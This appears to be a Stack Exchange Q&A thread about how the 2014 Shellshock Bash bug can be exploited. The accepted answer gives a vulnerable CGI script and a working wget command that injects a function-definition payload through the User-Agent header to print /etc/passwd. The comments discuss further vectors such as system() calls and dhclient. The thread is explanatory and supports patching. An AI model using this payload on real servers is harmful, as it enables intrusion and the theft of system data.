What is a specific example of how the Shellshock Bash bug could be exploited?

  • I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?

    @Gilles you created a feedback loop, gj

    For anyone looking to understand a complete apache web server attack scenario including how an attacker without SSH access could even get to Bash in the first place, see also How do I secure Apache against the Bash Shellshock vulnerability? which discusses some potentially surprising ways Apache uses Bash. **tldr;** there's several, so patch Bash.

  • mgjk

    mgjk Correct answer

    6 years ago

    A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

    #!/bin/bash
    echo "Content-type: text/plain"
    echo 
    echo
    echo "Hi"
    

    Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

    wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
    

    To break it down:

    "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
    

    Looks like:

    () {
        test
    }
    echo \"Content-type: text/plain\"
    echo
    echo
    /bin/cat /etc/passwd
    

    The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

    The extra "Content-type:" is only for illustration. It prevents the 500 error and shows the contents of the file.

    The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.

    Very nice @mgjk. Simple and specific, just what I was looking for. Thanks!

    Thanks, this was useful. Also, it should be "/var/www/cgi-bin/testing.cgi" to match the wget example (but we get the picture). If patched, I'd presume the downloaded file will just say "Hi", correct?

    Kind of amazed a "shell shock" worm hasn't gotten moving already, that's an insanely simple vector and there's got to be pre built scripts to do the rest of the work after the exploit. Or am I missing something?

    Not only bash CGI scripts are vulnerable. If the system shell /bin/sh is bash, any CGI script in any language which calls system(3) to run another command, or otherwise uses /bin/sh, is vulnerable. e.g. a perl CGI script containing \`ls | wc -l\` is be vulnerable.

    @SamWatkins I tried this against a php system("/usr/bin/ls") call, but could not generate any unusual behaviour. I've heard your claim elsewhere too, have you been able to exploit it?

    Great explanation. What's the role of the semicolon i've seen inside the function block in the most classical examples?

    The semicolon replaces a newline so that it can fit on one line. The semicolons are unnecessary if you can replace them with newlines.

    `call it with wget to swap out the User Agent string` - could you explain that part of it in a bit more detail ? ie how/why is something in the header of the GET request being executed by bash ?

    The environment variables are made available to bash verbatim as part of the CGI design. http://tools.ietf.org/html/draft-robinson-www-interface-00 bash allows function definitions in environment variables, but the bug causes code after the function definition to be executed. It's as ridiculous as it sounds.

    `The environment variables are made available to bash verbatim as part of the CGI design.` so somewhere there is a `var userAgent = headers["User-Agent"]` ?

    That's roughly it, see the IETF doc, p8, HTTP_*. N.b. there are a bunch of others in the HTTP_* group which I haven't tried, but should also work, like HTTP_ACCEPT, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE...

    @mgjk, when attempting to reproduce the issue behind a system() call, did you check that your /bin/sh really was provided by bash, and not dash or another implementation?

    @rubo77 The CGI exploit against shellshock is just one attack vector. Another vector is the DHCP client for Linux systems. I expect there will be more. The above example is only for cgi. It's best not to assume we know all the vectors.

    @CharlesDuffy that's a good point. I checked it and it is /bin/sh, which is a symlink to /bin/bash. But even if it was bash, this method would not work because the environment variables were not passed to the shell in my test. (for an out-of-box Redhat 6.5). If you find otherwise, please let me know.

    @mgjk, perl executes simple commands directly without using the shell, perhaps newer php does the same. The old php 5.2.5 I have here does use system(3) and /bin/sh to run even simple commands such as system("/bin/ls"). If you are on Debian, Ubuntu, Mint or similar, your /bin/sh is dash, not bash, so using system("...") won't show the bug unless you are running an actual #!/bin/bash script (of where there are many). dhclient is vulnerable in almost every distro, as dhclient-script is a #!/bin/bash script.

    If you do a system("set") it shows the interpreter and the full set of environment variables. My Debian box has a few years on it and is running Squeeze LTS which uses bash.

    Just curious, does the server run as root? If not, it may not be able to fetch "/etc/passwd" or allow other more vulnerable exploits.

    Most apps need access to read /etc/passwd. It's very unusual to restrict it, this goes *way* back but it might be interesting, from the time when /etc/shadow was being introduced on Slackware: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html They give an example of the 'ls' command unable to show usernames.

License under CC-BY-SA with attribution


Content dated before 6/26/2020 9:53 AM